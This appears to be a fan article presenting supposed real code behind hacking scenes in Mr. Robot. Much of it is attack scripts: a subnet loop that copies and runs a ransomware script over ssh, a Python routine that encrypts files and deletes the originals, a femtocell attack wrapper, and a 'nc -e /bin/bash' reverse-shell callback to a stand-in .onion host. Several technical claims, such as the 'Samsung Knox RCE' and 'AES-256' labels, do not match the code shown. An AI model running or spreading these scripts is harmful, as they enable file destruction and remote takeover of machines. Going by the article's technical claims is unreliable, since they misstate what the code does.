The Real Code Behind "eps3.2_legacy.so" – Mr. Robot's Hacking Techniques

1. Five/Nine Ransomware Attack

How Does It Work?

  • Scans the network for vulnerable systems.
  • Uses stolen credentials to access new machines.
  • Deploys encryption malware to lock files.

On-screen terminal output:

[+] Infecting host 10.0.0.5...
[+] Encrypting files...
[+] Scanning for new targets...

Network Scanning and Infection Script

#!/bin/bash

subnet="192.168.1"

for i in {1..254}; do
    ip="$subnet.$i"
    if ping -c 1 -W 1 "$ip" &>/dev/null; then
        echo "[+] Found host: $ip"
        
        scp ransomware.sh attacker@"$ip":/tmp/
        ssh attacker@"$ip" "bash /tmp/ransomware.sh &"
    fi
done

Real-World Equivalent: This technique is used by malware like NotPetya and Bad Rabbit.

Encryption Payload (AES-256)

from Crypto.Cipher import AES
import os

key = b'Sixteen byte key'

def encrypt_file(file_path):
    cipher = AES.new(key, AES.MODE_EAX)
    
    with open(file_path, 'rb') as f:
        data = f.read()
    
    ciphertext, tag = cipher.encrypt_and_digest(data)
    
    with open(file_path + ".enc", 'wb') as f:
        f.write(cipher.nonce + tag + ciphertext)
    
    os.remove(file_path)

target_directory = "/home/user/documents"
for file in os.listdir(target_directory):
    encrypt_file(os.path.join(target_directory, file))

Real-World Equivalent: AES-256 is used in ransomware to lock victims' files.

2. The Femtocell Exploit – FBI Android Hack

How Does It Work?

  • Angela runs ./EnableAttack femtopwn WLAN0,WLAN1.
  • The script activates a femtocell device that intercepts Android phones.
  • The Dark Army gains remote access to FBI devices.

On-screen terminal output:

[*] Executing ./EnableAttack
[*] Deploying payload...
[*] Connecting to Dark Army C2...

EnableAttack Script

#!/bin/bash

WIFI_INTERFACE=$1

echo "[*] Starting femtocell attack..."
ifconfig $WIFI_INTERFACE up
airmon-ng start $WIFI_INTERFACE

python android_exploit.py --interface $WIFI_INTERFACE

echo "[+] Attack complete."

Real-World Equivalent: Femtocell attacks bypass mobile network security and are used by intelligence agencies.

Android Exploit – Samsung Knox RCE

require 'socket'

victim_ip = "192.168.1.200"
socket = TCPSocket.open(victim_ip, 5555)

payload = "echo 'hacked' > /system/xbin/su"
socket.puts(payload)

puts "[+] Exploit sent. Awaiting shell access..."

Real-World Equivalent: This script is based on Metasploit’s Samsung Knox exploit.

Dark Army C2 Callback

C2_SERVER="darkarmy.onion"
CALLBACK_SCRIPT="/tmp/callback.sh"

echo "#!/bin/bash" > $CALLBACK_SCRIPT
echo "nc -e /bin/bash $C2_SERVER 443" >> $CALLBACK_SCRIPT
chmod +x $CALLBACK_SCRIPT
$CALLBACK_SCRIPT &

Real-World Equivalent: Attackers use Tor hidden services for remote control of infected devices.
